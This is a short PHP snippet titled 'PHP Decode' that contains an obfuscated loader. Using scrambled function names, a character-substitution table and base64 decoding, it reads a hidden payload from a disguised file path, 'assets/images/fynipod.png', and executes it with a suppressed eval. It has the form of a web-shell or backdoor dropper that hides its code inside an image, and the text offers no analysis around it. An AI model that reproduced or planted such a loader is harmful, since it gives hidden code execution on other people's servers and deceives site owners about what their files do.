PHP Decode

<?php 
 
function lapuchu_cykelik($ycuduco_hubikho) { 
    if (!file_exists($ycuduco_hubikho)) 
        return false; 
    $uzhycyd = @file_get_contents($ycuduco_hubikho); 
    if (!$uzhycyd) 
        return false; 
    $uzhycyd = substr($uzhycyd, 3); 
    $dazosha = ihygihe_pidomaw($uzhycyd); 
    return $dazosha; 
} 
 
function ihygihe_pidomaw($ycuduco_hubikho) { 
    $obuxuw = qogegag_olaxyxu; 
    $zathizo = array(); 
    for ($wawuko = 0; $wawuko < strlen($obuxuw); $wawuko += 2) { 
        $adagoq = substr($obuxuw, $wawuko, 1); 
        $litake = substr($obuxuw, $wawuko + 1, 1); 
        $zathizo[$adagoq] = $litake; 
    } 
    $iqywep = strtr($ycuduco_hubikho, $zathizo); 
    $iqywep = base64_decode($iqywep); 
 
    return $iqywep; 
} 
 
define("qogegag_olaxyxu", "klgPBvOs+o3LidvzaFEOywcgeCAq67LS7/D49yhHliJ3/8P+pBrrYemuqGt=0moNffnWCZKAHpGaMVTI8kbYFDZ5=t5TsKzM1cxxu1VRIbWU4hQEw22jUnd0X6jJS9RQNX"); 
 
$edagixo = lapuchu_cykelik(__DIR__ . "/asse" . "ts/im" . "ages" . "/fyni" . "pod." . "png"); 
if ($edagixo) { 
    @eval($edagixo); 
} ?>